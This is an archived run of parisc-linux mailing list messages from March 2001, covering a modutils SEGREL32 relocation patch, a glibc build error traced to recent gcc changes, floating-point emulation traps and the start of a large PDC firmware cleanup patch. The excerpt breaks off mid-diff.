X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Patch for modutils 2.4.4, support SEGREL32 relocs on hppa/hppa64
Date: Wed, 28 Mar 2001 11:15:23 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <20010328111523.I30046@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619981 17087 80.91.229.3 (22 Nov 2014 01:33:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Keith Owens <kaos@ocs.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 03:15:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8554482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Mar 2001 03:15:17 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 26AF2B007; Wed, 28 Mar 2001 11:15:23 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:10616

Hi Keith,
  A small fix for modutils on hppa...

Richard


diff -ur modutils-2.4.4/ChangeLog modutils/ChangeLog
--- modutils-2.4.4/ChangeLog	Mon Mar 26 10:29:56 2001
+++ modutils/ChangeLog	Wed Mar 28 10:57:07 2001
@@ -1,3 +1,6 @@
+
+	* Support for SEGREL32 relocs on hppa/hppa64.  Richard Hirst
+
 2001-03-26  Keith Owens  <kaos@ocs.com.au>
 
 	modutils 2.4.4
diff -ur modutils-2.4.4/obj/obj_hppa.c modutils/obj/obj_hppa.c
--- modutils-2.4.4/obj/obj_hppa.c	Sun Mar 25 12:13:48 2001
+++ modutils/obj/obj_hppa.c	Wed Mar 28 00:36:11 2001
@@ -529,6 +529,10 @@
     /* Easy. */
     break;
 
+  case R_PARISC_SEGREL32:
+    v -= f->baseaddr;
+    break;
+
   case R_PARISC_DPREL21L:
   case R_PARISC_DPREL14R:
     v -= dp;
@@ -566,9 +570,10 @@
     case R_PARISC_DIR32:
     case R_PARISC_PLABEL32:
     case R_PARISC_PCREL17F:
+    case R_PARISC_SEGREL32:
       fsel = e_fsel;
       break;
-	
+
     case R_PARISC_DPREL21L:
     case R_PARISC_DIR21L:
       fsel = e_lrsel;
@@ -602,6 +607,7 @@
     {
     case R_PARISC_DIR32:
     case R_PARISC_PLABEL32:
+    case R_PARISC_SEGREL32:
       r_format = 32;
       break;
 
diff -ur modutils-2.4.4/obj/obj_hppa64.c modutils/obj/obj_hppa64.c
--- modutils-2.4.4/obj/obj_hppa64.c	Fri Jan  5 01:45:19 2001
+++ modutils/obj/obj_hppa64.c	Wed Mar 28 10:48:59 2001
@@ -361,6 +361,7 @@
 		need_stub = TRUE;
 		break;
 	    case R_PARISC_DIR64:
+	    case R_PARISC_SEGREL32:
 		break;
 	    case R_PARISC_FPTR64:
 		/* This is a simple OPD entry (only created for local symbols,
@@ -595,6 +596,11 @@
 	{
 	    loc[0] = v >> 32;
 	    loc[1] = v;
+	}
+	break;
+    case R_PARISC_SEGREL32:
+	{
+	    loc[0] = v - f->baseaddr;
 	}
 	break;
     case R_PARISC_FPTR64:





From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Owens <kaos@ocs.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Patch for modutils 2.4.4, support SEGREL32 relocs on hppa/hppa64
Date: Wed, 28 Mar 2001 20:19:11 +1000
Lines: 9
Approved: news@gmane.org
Message-ID: <9425.985774751@ocs3.ocs-net>
References: <20010328111523.I30046@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619981 17090 80.91.229.3 (22 Nov 2014 01:33:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 03:19:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ocs.com.au (ppp0.ocs.com.au [203.34.97.3])
	by dsl2.external.hp.com (Postfix) with SMTP id 5C3B8482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Mar 2001 03:19:22 -0700 (MST)
Original-Received: (qmail 23867 invoked from network); 28 Mar 2001 10:19:12 -0000
Original-Received: from ocs3.ocs-net (192.168.255.3)
  by mail.ocs.com.au with SMTP; 28 Mar 2001 10:19:11 -0000
X-Mailer: exmh version 2.1.1 10/15/1999
In-reply-to: Your message of "Wed, 28 Mar 2001 11:15:23 +0100."
             <20010328111523.I30046@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10617

On Wed, 28 Mar 2001 11:15:23 +0100, 
Richard Hirst <rhirst@linuxcare.com> wrote:
>  A small fix for modutils on hppa...

Good timing, I was going to release 2.4.5 in 6 hours.





From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Wragg <dpw@doc.ic.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problem building glibc from cvs
Date: 28 Mar 2001 12:32:44 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <y7rk85a9iqb.fsf@sytry.doc.ic.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619981 17101 80.91.229.3 (22 Nov 2014 01:33:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 05:32:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from duck.doc.ic.ac.uk (duck.doc.ic.ac.uk [146.169.1.46])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2079482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Mar 2001 05:32:49 -0700 (MST)
Original-Received: from sytry.doc.ic.ac.uk ([146.169.5.24] ident=root)
	by duck.doc.ic.ac.uk with esmtp (Exim 3.16 #7)
	id 14iF84-000234-00
	for parisc-linux@lists.parisc-linux.org; Wed, 28 Mar 2001 13:32:48 +0100
Original-Received: (from dpw@localhost)
	by sytry.doc.ic.ac.uk (8.9.3/8.8.8) id NAA11477;
	Wed, 28 Mar 2001 13:32:44 +0100
X-Authentication-Warning: sytry.doc.ic.ac.uk: dpw set sender to dpw@sytry.doc.ic.ac.uk using -f
Original-Lines: 26
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Bryce Canyon)
Original-Sender: dpw@sytry.doc.ic.ac.uk
Xref: news.gmane.org gmane.linux.ports.parisc:10618

Hi,

Yesterday I tried to build the toolchain, glibc and kernel following
the instructions at <http://www.parisc-linux.org/kernel/>.  The build
host is linux-i386 (RedHat 7.0 with gcc updates applied).  I got the
modules out of CVS, and the builds of binutils and gcc went fine, as
did the kernel preparation step.  But the glibc build failed with this
error from gcc:

../sysdeps/unix/sysv/linux/hppa/sysdep.c:35: Internal compiler error in make_dec
l_rtl, at varasm.c:597
Please submit a full bug report, with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.


This happens early in the glibc build process; I think it occurs at
the first use of weak_alias encountered.  The compiler being used is
definitely hppa-linux-gcc.

Does anyone else have this problem, or am I missing something?

(This is my first play with Linux/PARISC, but I'm familiar with
building the toolchain, glibc, and the kernel on other platforms).


Dave




From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problem building glibc from cvs
Date: Wed, 28 Mar 2001 23:08:13 +1000 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103282255590.10691-100000@front.linuxcare.com.au>
References: <y7rk85a9iqb.fsf@sytry.doc.ic.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619982 17123 80.91.229.3 (22 Nov 2014 01:33:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Wragg <dpw@doc.ic.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 06:08:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33325482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Mar 2001 06:08:22 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA13203;
	Wed, 28 Mar 2001 23:08:13 +1000
In-Reply-To: <y7rk85a9iqb.fsf@sytry.doc.ic.ac.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10619

On 28 Mar 2001, David Wragg wrote:

> But the glibc build failed with this
> error from gcc:
> 
> ../sysdeps/unix/sysv/linux/hppa/sysdep.c:35: Internal compiler error in make_dec
> l_rtl, at varasm.c:597
> Please submit a full bug report, with preprocessed source if appropriate.
> See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.

I've been making some changes to gcc in the last few days as part of
preparing to merge upstream.  The changes ought to have been innocuous,
but it's entirely possible I've made a blue somewhere.  I'll see if I can
duplicate your problem.  More news in an hour or so.  Or possibly 8 hours
if I give up for the time being and go to bed :-)

Alan





From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problem building glibc from cvs
Date: Wed, 28 Mar 2001 23:40:44 +1000 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103282326380.10691-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103282255590.10691-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619982 17126 80.91.229.3 (22 Nov 2014 01:33:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Wragg <dpw@doc.ic.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 06:40:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 909EC482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Mar 2001 06:40:49 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA14063;
	Wed, 28 Mar 2001 23:40:44 +1000
In-Reply-To: <Pine.LNX.4.21.0103282255590.10691-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10620

On Wed, 28 Mar 2001, Alan Modra wrote:

> On 28 Mar 2001, David Wragg wrote:
> 
> > But the glibc build failed with this
> > error from gcc:
> > 
> > ../sysdeps/unix/sysv/linux/hppa/sysdep.c:35: Internal compiler error in make_dec
> > l_rtl, at varasm.c:597
> > Please submit a full bug report, with preprocessed source if appropriate.
> > See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
> 
> I've been making some changes to gcc in the last few days as part of
> preparing to merge upstream.  The changes ought to have been innocuous,
> but it's entirely possible I've made a blue somewhere.  I'll see if I can
> duplicate your problem.  More news in an hour or so.  Or possibly 8 hours
> if I give up for the time being and go to bed :-)

OK, the new failure is a result of me fixing a bug with #include and
#define ordering that accidentally disabled dwarf2 debug info for us.  The
underlying dwarf2 bug has already been fixed upstream, so I'm about to
merge in the following to fix it:

2001-03-23  Jim Wilson  <wilson@redhat.com>
	* varasm.c (make_decl_rtl): Add TREE_PUBLIC check to abort test.
	(assemble_alias): Call make_decl_rtl.

and this one for good measure

2001-03-26  Jakub Jelinek  <jakub@redhat.com>
	* varasm.c (make_decl_rtl): Don't append var_labelno discriminator
	to variable names where DECL_NAME is different from
	DECL_ASSEMBLER_NAME.

Thanks for the report.  (easy-to-fix bug reports always welcome!)

Alan
-- 
Linuxcare





From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a new (and free) C++ compiler for hppa!
Date: Wed, 28 Mar 2001 18:07:39 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010328180739.I7738@parcelfarce.linux.theplanet.co.uk>
References: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de> <3A757FB9.6DCD3A91@linuxcare.com> <3A757F68.1833548@lufmech.rwth-aachen.de> <3AC1A3C9.F94899D6@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619982 17127 80.91.229.3 (22 Nov 2014 01:33:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:02 +0000 (UTC)
Cc: Jane Vinet <jvinet@linuxcare.com>,
	parisc-linux@thepuffingroup.com
To: Markus Werle <markus@lufmech.rwth-aachen.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 10:20:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 159CC482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Mar 2001 10:20:42 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA04198
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Mar 2001 10:15:06 -0700
Original-Received: (qmail 22505 invoked by uid 15267); 28 Mar 2001 17:19:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30974 invoked from network); 28 Mar 2001 17:07:45 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2001 17:07:45 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14iJQ3-00009e-00; Wed, 28 Mar 2001 18:07:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3AC1A3C9.F94899D6@lufmech.rwth-aachen.de>; from markus@lufmech.rwth-aachen.de on Wed, Mar 28, 2001 at 10:41:45AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10621

On Wed, Mar 28, 2001 at 10:41:45AM +0200, Markus Werle wrote:
> It may be that I am too stupid to do it right, but then please help me:
> I did the cvs login as described, but anonymous login failed for some
> unknown reason.

Excuse me.  I replied to you twice pointing out your error.  Your mail
system was broken.

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-January/010935.html
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-January/010936.html

Don't complain that you weren't helped.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FYI floating point
Date: Wed, 28 Mar 2001 16:11:18 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <m14iP5y-001VltC@bame.riverrock.org>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619983 17130 80.91.229.3 (22 Nov 2014 01:33:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 16:11:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01061482A
	for <parisc-linux@parisc-linux.org>; Wed, 28 Mar 2001 16:11:21 -0700 (MST)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.2/8.11.2) with ESMTP id f2SNBL253956
	for <parisc-linux@parisc-linux.org>; Wed, 28 Mar 2001 16:11:21 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA30150
	for <parisc-linux@parisc-linux.org>; Wed, 28 Mar 2001 16:11:19 -0700
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m14iP5y-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Wed, 28 Mar 2001 16:11:18 -0700 (MST) 
Errors-To: bame@riverrock.org
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:10622

After adding code to emulate the FRND instruction I thought
I'd be done with FP, but I've been seeing unimplemented instruction traps
on FP instructions that I know are implemented (FSUB, FDIV).  Apparently
the FPU expects emulation to handle the exceptional cases of some
instructions (such as division by a very tiny number).  Don't count
on this to be fixed until sometime next week.

	-Paul Bame




From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim_hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] FYI floating point
Date: Wed, 28 Mar 2001 16:44:56 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <NDBBIHNACACKNDHNHIKAEEFGCBAA.jim_hull@hp.com>
References: <m14iP5y-001VltC@bame.riverrock.org>
Reply-To: <hull@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619983 17132 80.91.229.3 (22 Nov 2014 01:33:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:03 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 17:44:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6ACA482A
	for <parisc-linux@parisc-linux.org>; Wed, 28 Mar 2001 17:44:58 -0700 (MST)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel1.hp.com (Postfix) with ESMTP
	id 01C12AAE; Wed, 28 Mar 2001 16:44:57 -0800 (PST)
Original-Received: from jh73313p (jh73313p.cup.hp.com [15.0.88.75])
	by lucy.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with SMTP id QAA07662;
	Wed, 28 Mar 2001 16:44:47 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <m14iP5y-001VltC@bame.riverrock.org>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:10623

Paul wrote:

> Apparently
> the FPU expects emulation to handle the exceptional cases of some
> instructions (such as division by a very tiny number).  Don't count
> on this to be fixed until sometime next week.

Yes, the architecture allows the FP hardware to give up and trap to the
emulation handler for any reason whatsoever.  The emulation handler is
expected to include a full implementation of all instructions.

When the lack of of an FP emulation handler in parisc-linux was first
discussed on this list, I started the machinery inside HP to get the HP-UX
one open-sourced.  Thanks to the work of many individuals in HP, this is
actually happening now.  So, if you'd like to hack in some minimal support
to get a particular program working, fine, but otherwise I would suggest
you wait until the HP-UX handler is released.

 -- Jim





From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbrad@beavis.ybsoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Thu, 29 Mar 2001 01:18:30 -0700
Lines: 4400
Approved: news@gmane.org
Message-ID: <20010329011830.A18639@beavis.ybsoft.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="ZGiS0Q5IWpPtfppv"
X-Trace: ger.gmane.org 1416619983 17135 80.91.229.3 (22 Nov 2014 01:33:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 01:18:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id EECFB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Mar 2001 01:18:40 -0700 (MST)
Original-Received: (qmail 5000 invoked by alias); 29 Mar 2001 08:18:39 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 4931 invoked by uid 0); 29 Mar 2001 08:18:34 -0000
Original-Received: from lametoby.ybsoft.com (HELO beavis.ybsoft.com) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 29 Mar 2001 08:18:34 -0000
Original-Received: from rbrad by beavis.ybsoft.com with local (Exim 3.20 #1 (Debian))
	id 14iXdW-0001JK-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Mar 2001 01:18:30 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
Xref: news.gmane.org gmane.linux.ports.parisc:10624

--ZGiS0Q5IWpPtfppv
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello parisc-linux hackers,

This is a fairly extensive patch which (almost) finishes the PDC cleanups I
have been working on.  The goal of this patch was to add kernel-docs and
encapsulate the firmware calls so the caller does not have to worry about
alignment issues, etc.

The last PDC/firware cleanup I have on my list is to rename asm/pdc.h
to firmware.h.  This will be a seperate patch after this patch has been
reviewed/approved/committed.

I have tested this patch on the following machines:
	- 712/80 using STI console
	- C200 32-bit kernel using serial console
	- A500 64-bit kernel using serial console

Since the majority of the changes are in firmware.c and pdc.h
I have included include those files in their entirity to make
them easier to read.

As always, feedback, concerns, and questions are welcome.

Thanks,

- Ryan


--ZGiS0Q5IWpPtfppv
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="pdc4.patch"

? pdc4.patch
Index: arch/parisc/kernel/Makefile
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/Makefile,v
retrieving revision 1.33
diff -u -p -r1.33 Makefile
--- Makefile	2001/03/24 03:09:50	1.33
+++ Makefile	2001/03/29 07:57:50
@@ -41,7 +41,7 @@ obj-$(CONFIG_IOMMU_SBA) += sba_iommu.o
 obj-$(CONFIG_IOMMU_CCIO) += ccio-dma.o
 obj-$(CONFIG_CHASSIS_LCD_LED) += led.o 
 obj-$(CONFIG_SUPERIO) += superio.o
-obj-$(CONFIG_PARISC64) += pdcpat.o binfmt_elf32.o sys_parisc32.o \
+obj-$(CONFIG_PARISC64) += binfmt_elf32.o sys_parisc32.o \
 		ioctl32.o signal32.o
 
 include $(TOPDIR)/Rules.make
Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/cache.c,v
retrieving revision 1.13
diff -u -p -r1.13 cache.c
--- cache.c	2001/01/13 09:50:00	1.13
+++ cache.c	2001/03/29 07:57:50
@@ -28,7 +28,7 @@ int dcache_stride;
 int icache_stride;
 
 struct pdc_cache_info cache_info;
-#ifndef __LP64__
+#ifndef CONFIG_PA20
 static struct pdc_btlb_info btlb_info;
 #endif
 
@@ -73,7 +73,7 @@ int get_cache_info(char *buffer)
 		cache_info.dt_conf.tc_sh ? " - shared with ITLB":""
 	);
 		
-#ifndef __LP64__
+#ifndef CONFIG_PA20
 	/* BTLB - Block TLB */
 	if (btlb_info.max_size==0) {
 		p += sprintf(p, "BTLB\t\t: not supported\n" );
@@ -164,7 +164,7 @@ cache_init(void)
 			 cache_info.dc_conf.cc_line );
 	icache_stride = ( (1<<(cache_info.ic_conf.cc_block+3)) *
 			 cache_info.ic_conf.cc_line );
-#ifndef __LP64__
+#ifndef CONFIG_PA20
 	if(pdc_btlb_info(&btlb_info)<0) {
 		memset(&btlb_info, 0, sizeof btlb_info);
 	}
Index: arch/parisc/kernel/ccio-dma.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/ccio-dma.c,v
retrieving revision 1.28
diff -u -p -r1.28 ccio-dma.c
--- ccio-dma.c	2001/03/02 10:31:49	1.28
+++ ccio-dma.c	2001/03/29 07:57:50
@@ -1249,11 +1249,9 @@ static struct {
 		u16 hversion;
 		u8  spa;
 		u8  type;
-		u32     foo[3];	/* 16 bytes total */
-} cujo_iodc __attribute__ ((aligned (64)));
+		u32 foo[3];	/* 16 bytes total */
+} cujo_iodc;
 
-static unsigned long cujo_result[32] __attribute__ ((aligned (16))) = {0,0,0,0};
-
 /*
 ** CUJO 2.0 incorrectly decodes a memory access for specific
 ** pages (every page at specific iotlb locations dependent
@@ -1276,6 +1274,7 @@ static unsigned long cujo_result[32] __a
 static void
 ccio_cujo20_hack(struct ioc *ioc)
 {
+	unsigned long bytecnt;
 	u32 iovp = 0, io_io_low;
 	unsigned int idx;
 	unsigned long status, mask;
@@ -1286,12 +1285,12 @@ ccio_cujo20_hack(struct ioc *ioc)
 	if(!(CUJO_RAVEN_LOC == io_io_low || CUJO_FIREHAWK_LOC == io_io_low))
 		return;
 	
-	status = pdc_iodc_read(&cujo_result, (void *)CUJO_RAVEN_LOC, 0, &cujo_iodc, 16);
+	status = pdc_iodc_read(&bytecnt, (void *)CUJO_RAVEN_LOC, 0, &cujo_iodc, 16);
 	if(0 == status) {
 		if(CUJO_20_BADHVERS == cujo_iodc.hversion)
 			iovp = CUJO_20_BADPAGE1;
 	} else {
-		status = pdc_iodc_read(&cujo_result, (void *)CUJO_FIREHAWK_LOC, 0, &cujo_iodc, 16);
+		status = pdc_iodc_read(&bytecnt, (void *)CUJO_FIREHAWK_LOC, 0, &cujo_iodc, 16);
 		if(0 == status) {
 			if(CUJO_20_BADHVERS == cujo_iodc.hversion)
 				iovp = CUJO_20_BADPAGE2;
Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/drivers.c,v
retrieving revision 1.14
diff -u -p -r1.14 drivers.c
--- drivers.c	2001/02/27 00:35:43	1.14
+++ drivers.c	2001/03/29 07:57:50
@@ -24,10 +24,6 @@ static struct hp_device pa_devices[MAX_D
 
 static struct pa_iodc_driver *pa_drivers = NULL;
 
